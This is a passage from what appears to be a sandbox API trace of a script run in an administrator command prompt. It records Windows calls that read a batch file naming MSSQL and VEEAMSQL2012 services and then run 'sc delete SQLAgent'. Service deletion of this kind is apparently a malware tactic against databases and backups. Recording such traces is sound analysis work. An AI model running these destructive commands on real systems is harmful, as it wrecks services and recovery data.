lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.019] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="QSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="LQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.020] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="AL\nent$VEEAMSQL2012\"\n") returned 1 [0076.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.021] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="g\nent$VEEAMSQL2012\"\n") returned 1 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.021] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="eent$VEEAMSQL2012\"\n") returned 1 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.021] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="nnt$VEEAMSQL2012\"\n") returned 1 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.021] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="tt$VEEAMSQL2012\"\n") returned 1 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.021] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\n$VEEAMSQL2012\"\n") returned 1 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] GetFileType (hFile=0xb8) returned 0x3 [0076.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.022] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.022] GetFileType (hFile=0x120) returned 0x3 [0076.022] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLAgent\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLAgent\n", lpUsedDefaultChar=0x0) returned 20 [0076.022] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0076.022] GetProcessHeap () returned 0x240000 [0076.022] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.022] GetProcessHeap () returned 0x240000 [0076.022] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.022] GetProcessHeap () returned 0x240000 [0076.022] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.022] GetProcessHeap () returned 0x240000 [0076.022] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.022] GetProcessHeap () returned 0x240000 [0076.022] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0076.022] GetConsoleOutputCP () returned 0x1b5 [0076.022] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.022] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.023] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0076.023] SetErrorMode (uMode=0x0) returned 0x1 [0076.023] SetErrorMode (uMode=0x1) returned 0x0 [0076.023] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.023] SetErrorMode (uMode=0x1) returned 0x1 [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0076.023] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.023] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.023] GetProcessHeap () returned 0x240000 [0076.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.023] GetProcessHeap () returned 0x240000 [0076.024] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.024] GetProcessHeap () returned 0x240000 [0076.024] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.024] GetProcessHeap () returned 0x240000 [0076.024] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.024] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.024] GetProcessHeap () returned 0x240000 [0076.024] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.024] GetProcessHeap () returned 0x240000 [0076.024] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.024] GetProcessHeap () returned 0x240000 [0076.024] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.024] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.024] GetLastError () returned 0x2 [0076.024] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.024] GetLastError () returned 0x2 [0076.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.025] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.025] GetLastError () returned 0x2 [0076.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.025] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.025] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.025] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.025] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.026] GetProcessHeap () returned 0x240000 [0076.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.026] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.026] GetProcessHeap () returned 0x240000 [0076.026] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0076.026] GetProcessHeap () returned 0x240000 [0076.026] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0076.026] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLAgent") returned 1 [0076.026] GetProcessHeap () returned 0x240000 [0076.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.027] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.027] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.027] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.027] GetProcessHeap () returned 0x240000 [0076.027] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.027] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.028] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.028] GetProcessHeap () returned 0x240000 [0076.028] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.028] GetProcessHeap () returned 0x240000 [0076.028] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.029] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLAgent", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLAgent", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SQLAgent", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xaf0, dwThreadId=0xb1c)) returned 1 [0076.032] CloseHandle (hObject=0x54) returned 1 [0076.033] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.033] GetProcessHeap () returned 0x240000 [0076.033] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.033] GetEnvironmentStringsW () returned 0x25ba10* [0076.033] GetProcessHeap () returned 0x240000 [0076.033] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.033] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.033] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.033] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.033] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0076.091] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.091] CloseHandle (hObject=0x50) returned 1 [0076.092] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.092] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.092] GetProcessHeap () returned 0x240000 [0076.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0076.092] GetEnvironmentStringsW () returned 0x261b10* [0076.092] GetProcessHeap () returned 0x240000 [0076.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.092] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.092] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.092] GetProcessHeap () returned 0x240000 [0076.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.092] GetEnvironmentStringsW () returned 0x25ba10* [0076.092] GetProcessHeap () returned 0x240000 [0076.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.092] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.092] GetProcessHeap () returned 0x240000 [0076.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.092] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.092] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.093] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.093] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.093] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.093] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.094] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.094] GetConsoleOutputCP () returned 0x1b5 [0076.094] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.094] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.094] GetProcessHeap () returned 0x240000 [0076.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.094] GetProcessHeap () returned 0x240000 [0076.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.094] GetProcessHeap () returned 0x240000 [0076.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.094] GetProcessHeap () returned 0x240000 [0076.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0076.094] GetProcessHeap () returned 0x240000 [0076.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0076.094] 